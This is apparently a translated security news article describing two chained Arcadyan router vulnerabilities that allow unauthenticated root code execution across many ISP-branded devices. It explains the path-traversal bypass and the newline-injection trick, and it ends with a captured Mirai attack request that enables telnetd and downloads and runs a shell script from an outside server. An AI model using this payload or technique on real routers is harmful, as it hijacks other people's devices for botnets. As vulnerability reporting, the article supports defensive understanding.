A large-scale attack has been detected on home routers that use the http server implementation from Arcadyan. A combination of two vulnerabilities is utilized to gain control over the devices, allowing arbitrary code execution remotely with root privileges. This issue affects a significant range of ADSL routers from Arcadyan, ASUS, and Buffalo, as well as devices supplied under the brands Beeline (issue confirmed in Smart Box Flash), Deutsche Telekom, Orange, O2, Telus, Verizon, Vodafone, and other telecom operators. It is noted that this problem has been present in Arcadyan firmware for over 10 years and has migrated into at least 20 device models from 17 different manufacturers.
The first vulnerability CVE-2021-20090 allows access to any web interface script without authentication. The essence of the vulnerability is that certain directories in the web interface, through which images, CSS files, and JavaScript scripts are served, are accessible without authentication. The check for directories permitted for unauthenticated access is performed based on an initial mask. The use of the characters "..\/" in paths for moving to the parent directory is blocked by the firmware, but the combination ".." is allowed. Thus, there is the possibility of opening protected pages by sending requests like "http:\/\/192.168.1.1\/images\/?..index.htm".
The second vulnerability CVE-2021-20091 allows an authenticated user to modify the device's system settings by sending specially crafted parameters to the script apply_abstract.cgi, which does not check for the presence of a newline character in the parameters. For example, an attacker can specify in the ping operation's IP address field the value "192.168.1.2ARC_SYS_TelnetdEnable=1", and the script will write the line "AARC_SYS_TelnetdEnable=1" into the configuration file \/tmp\/etc\/config\/glbcfg, which activates server telnetd, providing unrestricted access to the command shell with root privileges. Similarly, by setting the AARC_SYS parameter, any code can be executed on the system. The first vulnerability allows the problematic script to be executed without authentication by accessing it as "\/images\/?..apply_abstract.cgi".
In order to exploit vulnerabilities, an attacker must be able to send a request to the network port where the web interface is running. Judging by the dynamics of the attack's spread, many operators leave access from the external network on their devices to simplify issue diagnosis for support services. If access to the interface is limited to the internal network only, an attack can still be carried out from the external network using a technique called 'DNS rebinding.' Vulnerabilities are already actively being used to connect routers to the Mirai botnet: POST /images/..apply_abstract.cgi HTTP/1.1 Connection: close User-Agent: Dark action=start_ping&submit_button=ping.html& action_params=blink_time5&ARC_ping_ipaddress=212.192.241.7 ARC_SYS_TelnetdEnable=1& ARC_SYS_=cd+\/tmp; wget+http:\/\/212.192.241.72\/lolol.sh; curl+-O+http:\/\/212.192.241.72\/lolol.sh; chmod+777+lolol.sh; sh+lolol.sh&ARC_ping_status=0&TMP_Ping_Type=4
Source: opennet.ru
